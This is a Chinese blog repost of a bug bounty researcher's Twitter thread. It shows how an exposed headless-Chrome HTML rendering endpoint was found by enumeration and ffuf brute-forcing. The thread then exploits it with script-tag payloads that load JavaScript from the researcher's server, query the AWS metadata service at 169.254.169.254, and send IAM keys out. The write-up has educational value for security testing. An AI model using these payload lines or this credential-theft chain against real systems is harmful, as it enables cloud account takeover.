【twitter搬运】黑盒测试1

参数的猜想

1/ The scope of this program was *.███.com

With a wildcard, basic recon is:

Subdomain Enumeration + HTTP server probing:

$ subfinder -d example[dot]com | httpx -o example.httpx

2/ HTTPX gave me 300 web-servers to target.

One stuck out to me:
hxxps://rendering-prd.redacted[.]com
"rendering" stuck out to me. Why?
Render means to "process information". Often to another format.
With web apps, it's typically HTML to another format.

3/ Next step:

I issued an HTTP request to the host:

$ curl -sk hxxps://rendering-prd.redacted[.]com
> <pre>Cannot GET /</pre>
	NodeJS/Express

If you see this, it's NodeJS.
Or, if you see the header => Server: Express
Well, what do we know about NodeJS web apps?

4/ Look at the code in this picture.

Routes are defined explicitly. In this example:

You must GET /one to get a response.
You must POST /two to get a valid response.

Brute-force with API routes and dictionary words.

(PS:
@assetnote
wrote about Contextual Content Discovery)
image

5/ You also must brute-force with different HTTP methods.

I love
@joohoi's FFUF for directory/endpoint brute-forcing.
By default, ffuf uses the GET method.
So, I started with that and filtered by the number of response words (6) on the 404 page:
image

6/ This resulted in nothing. Cool.

So I brute-forced with POST. (the command & the result are in the image)
Discovered the endpoint /render which accepts a POST request.
It responded with "400 Bad Request"
This means we (the client) made a bad HTTP request.
image

7/ So what are we missing?

Typically headers & parameters.
Start with the error message!
I copied the URL.

Went to Burp Repeater:
-  Right Click => "Paste URL as Request"
- Changed GET to POST.
- Issued the HTTP request.

The error message said:

> "markup is invalid"

8/ I added markup=aaaa in the POST body:

A different error message!

> "render failure"

What is it expecting to render? I thought Markdown.
So, I put the following Markdown in the markup= parameter:

> # header

Response:

> "render failure"

Hm. Not that. Maybe HTML?
image

9/ I gave it HTML instead:

test

> HTTP/1.1 200 OK

We're in business!
But what is rendering our HTML? Probably a headless browser!
Let's see if it will execute javascript. Hopefully 🤞
I gave it the following HTML:

<script src=hxxp://BURP_COLLAB/test.js></script>

10/ Success.

I got a request to /test.js with the User-Agent: Chrome/75.x.xx
Running "whois" on the requesting IP address showed it was from AWS.
AWS has a meta-data server at 169.254.169.254.
It can be used to generate temporary access keys.
To an AWS environment.

11/ Hopefully the browser doesn't enforce the Same-Origin Policy

The idea is to send 2 XMLHttpRequests.

1 - To the meta-data server. (to grab the IAM role name)
2 - To our server, to exfiltrate the data from step 1.
This violates the Same-Origin Policy.
But often,

12/ Headless browsers don't care.

So, I tried this javascript

POST /render HTTP.1,1

markup=<script src="hxxps://myserver/pwn.js"></script>

The server responded: 200 OK
Checked Burp Collaborator and it worked! My server had a request to "/main-production-worker-iam-role"
So
image

13/ Let's grab those keys!

One last final HTTP request.

POST /render HTTP.1,1

markup=<script src="hxxps://myserver/pwn.js"></script>

The browser sent the AWS Keys to me (well, my collaborator instance).
Finally,
image

14/ I verified they worked:

$ export AWS_ACCESS_KEY_ID=
$ export AWS_SECRET_ACCESS_KEY=
$ export AWS_SESSION_TOKEN=
$ aws sts get-caller-identity

The keys worked.
And Scout2 proved I had access to too much 😃

Lessons:

  • Context is King. THINK!
  • To break you must first understand: Know your target's technologies & the services they use.
  • Learn to code.

Top:https://twitter.com/hacker_/status/1575466233784258560

posted @ 2022-09-30 08:07  菜就多练forever  阅读(40)  评论(0编辑  收藏  举报